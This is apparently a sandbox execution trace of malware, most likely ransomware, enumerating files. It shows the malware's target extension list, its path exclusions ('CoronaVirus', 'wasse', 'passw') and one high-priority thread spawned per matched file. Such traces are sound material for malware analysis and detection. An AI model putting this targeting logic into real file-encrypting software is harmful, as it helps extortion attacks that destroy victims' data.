	[0082.763] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0082.763] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.763] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.763] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0082.763] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.763] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.763] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0082.763] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.763] wcsncmp (_String1="Sp", _String2="..", _MaxCount=0x2) returned 37
	[0082.764] malloc (_Size=0x1000) returned 0x2f2b560
	[0082.764] _swprintf (in: param_1=0x2f2b560, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0082.764] wcsstr (_Str="C:\\588bce7c90097ed212\\SplashScreen.bmp", _SubStr="CoronaVirus") returned 0x0
	[0082.764] wcsstr (_Str="C:\\588bce7c90097ed212\\SplashScreen.bmp", _SubStr="wasse") returned 0x0
	[0082.764] wcsstr (_Str="C:\\588bce7c90097ed212\\SplashScreen.bmp", _SubStr="passw") returned 0x0
	[0082.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f2b560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0082.764] SetThreadPriority (hThread=0x2a8, nPriority=15) returned 1
	[0082.767] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0082.767] wcsncmp (_String1="s", _String2=".", _MaxCount=0x1) returned 69
	[0082.767] wcsncmp (_String1="sq", _String2="..", _MaxCount=0x2) returned 69
	[0082.767] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.767] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.767] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.767] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.767] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.767] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.767] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.767] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.767] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.767] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.767] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.767] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.773] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.773] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.773] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.773] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.773] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.773] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.773] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.779] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.779] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.780] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0082.780] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af0 | out: _String=".dll") returned=".dll"
	[0082.781] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0082.781] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0082.781] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.781] wcsncmp (_String1="St", _String2="..", _MaxCount=0x2) returned 37
	[0082.781] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.781] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.781] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.781] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.781] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.781] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.782] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.782] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.782] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.782] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.782] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.782] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.782] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.782] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.782] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.782] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.782] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.782] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.782] _wcslwr (in: _String=0x3173af2 | out: _String=".xml") returned=".xml"
	[0082.782] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.782] malloc (_Size=0x1000) returned 0x2f2c568
	[0082.782] _swprintf (in: param_1=0x2f2c568, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0082.782] wcsstr (_Str="C:\\588bce7c90097ed212\\Strings.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.782] wcsstr (_Str="C:\\588bce7c90097ed212\\Strings.xml", _SubStr="wasse") returned 0x0
	[0082.782] wcsstr (_Str="C:\\588bce7c90097ed212\\Strings.xml", _SubStr="passw") returned 0x0
	[0082.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f2c568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec
	[0082.783] SetThreadPriority (hThread=0x4ec, nPriority=15) returned 1
	[0082.784] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0082.784] wcsncmp (_String1="U", _String2=".", _MaxCount=0x1) returned 39
	[0082.784] wcsncmp (_String1="Ui", _String2="..", _MaxCount=0x2) returned 39
	[0082.784] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.784] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.784] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.784] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.784] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.788] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.788] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.788] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.788] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.788] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.788] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.788] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.788] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.788] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.788] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.789] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.789] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.789] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.789] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.789] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.789] _wcslwr (in: _String=0x3173af0 | out: _String=".xml") returned=".xml"
	[0082.789] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.789] malloc (_Size=0x1000) returned 0x2f2e578
	[0082.789] _swprintf (in: param_1=0x2f2e578, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0082.789] wcsstr (_Str="C:\\588bce7c90097ed212\\UiInfo.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.789] wcsstr (_Str="C:\\588bce7c90097ed212\\UiInfo.xml", _SubStr="wasse") returned 0x0
	[0082.789] wcsstr (_Str="C:\\588bce7c90097ed212\\UiInfo.xml", _SubStr="passw") returned 0x0
	[0082.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f2e578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4
	[0082.790] SetThreadPriority (hThread=0x4f4, nPriority=15) returned 1
	[0082.792] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0082.792] wcsncmp (_String1="w", _String2=".", _MaxCount=0x1) returned 73
	[0082.792] wcsncmp (_String1="wa", _String2="..", _MaxCount=0x2) returned 73
	[0082.792] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.792] wcsstr (_Str=".bak", _SubStr=".bmp") returned 0x0
	[0082.792] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.792] wcsstr (_Str=".bat", _SubStr=".bmp") returned 0x0
	[0082.792] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.792] wcsstr (_Str=".doc", _SubStr=".bmp") returned 0x0
	[0082.792] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.792] wcsstr (_Str=".jpg", _SubStr=".bmp") returned 0x0
	[0082.792] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.792] wcsstr (_Str=".jpe", _SubStr=".bmp") returned 0x0
	[0082.792] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.798] wcsstr (_Str=".txt", _SubStr=".bmp") returned 0x0
	[0082.798] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.798] wcsstr (_Str=".tex", _SubStr=".bmp") returned 0x0
	[0082.798] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.798] wcsstr (_Str=".dbf", _SubStr=".bmp") returned 0x0
	[0082.798] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.801] wcsstr (_Str=".xls", _SubStr=".bmp") returned 0x0
	[0082.801] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.801] wcsstr (_Str=".cry", _SubStr=".bmp") returned 0x0
	[0082.801] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.801] wcsstr (_Str=".xml", _SubStr=".bmp") returned 0x0
	[0082.801] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.801] wcsstr (_Str=".vsd", _SubStr=".bmp") returned 0x0
	[0082.801] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.801] wcsstr (_Str=".pdf", _SubStr=".bmp") returned 0x0
	[0082.801] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.801] wcsstr (_Str=".csv", _SubStr=".bmp") returned 0x0
	[0082.801] _wcslwr (in: _String=0x3173af6 | out: _String=".bmp") returned=".bmp"
	[0082.801] wcsstr (_Str=".bmp", _SubStr=".bmp") returned=".bmp"
	[0082.801] malloc (_Size=0x1000) returned 0x2f2f580
	[0082.801] _swprintf (in: param_1=0x2f2f580, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0082.801] wcsstr (_Str="C:\\588bce7c90097ed212\\watermark.bmp", _SubStr="CoronaVirus") returned 0x0
	[0082.801] wcsstr (_Str="C:\\588bce7c90097ed212\\watermark.bmp", _SubStr="wasse") returned 0x0
	[0082.801] wcsstr (_Str="C:\\588bce7c90097ed212\\watermark.bmp", _SubStr="passw") returned 0x0
	[0082.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f2f580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc
	[0082.802] SetThreadPriority (hThread=0x4fc, nPriority=15) returned 1
	[0082.804] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0082.804] wcsncmp (_String1="W", _String2=".", _MaxCount=0x1) returned 41
	[0082.804] wcsncmp (_String1="Wi", _String2="..", _MaxCount=0x2) returned 41
	[0082.804] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.804] wcsstr (_Str=".bak", _SubStr=".msu") returned 0x0
	[0082.804] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.804] wcsstr (_Str=".bat", _SubStr=".msu") returned 0x0
	[0082.804] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.804] wcsstr (_Str=".doc", _SubStr=".msu") returned 0x0
	[0082.804] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.804] wcsstr (_Str=".jpg", _SubStr=".msu") returned 0x0
	[0082.804] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.804] wcsstr (_Str=".jpe", _SubStr=".msu") returned 0x0
	[0082.804] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.804] wcsstr (_Str=".txt", _SubStr=".msu") returned 0x0
	[0082.804] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.804] wcsstr (_Str=".tex", _SubStr=".msu") returned 0x0
	[0082.804] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.804] wcsstr (_Str=".dbf", _SubStr=".msu") returned 0x0
	[0082.804] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.810] wcsstr (_Str=".xls", _SubStr=".msu") returned 0x0
	[0082.810] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.810] wcsstr (_Str=".cry", _SubStr=".msu") returned 0x0
	[0082.810] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.810] wcsstr (_Str=".xml", _SubStr=".msu") returned 0x0
	[0082.810] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.810] wcsstr (_Str=".vsd", _SubStr=".msu") returned 0x0
	[0082.810] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.810] wcsstr (_Str=".pdf", _SubStr=".msu") returned 0x0
	[0082.810] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.810] wcsstr (_Str=".csv", _SubStr=".msu") returned 0x0
	[0082.810] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.816] wcsstr (_Str=".bmp", _SubStr=".msu") returned 0x0
	[0082.816] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.816] wcsstr (_Str=".tif", _SubStr=".msu") returned 0x0
	[0082.816] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.816] wcsstr (_Str=".1cd", _SubStr=".msu") returned 0x0
	[0082.816] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.816] wcsstr (_Str=".tax", _SubStr=".msu") returned 0x0
	[0082.816] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.816] wcsstr (_Str=".gif", _SubStr=".msu") returned 0x0
	[0082.816] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.817] wcsstr (_Str=".gbr", _SubStr=".msu") returned 0x0
	[0082.817] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.817] wcsstr (_Str=".png", _SubStr=".msu") returned 0x0
	[0082.817] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.817] wcsstr (_Str=".mdb", _SubStr=".msu") returned 0x0
	[0082.817] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.817] wcsstr (_Str=".mdf", _SubStr=".msu") returned 0x0
	[0082.817] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.817] wcsstr (_Str=".sdf", _SubStr=".msu") returned 0x0
	[0082.825] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".dwg", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".dxf", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".dgn", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".stl", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
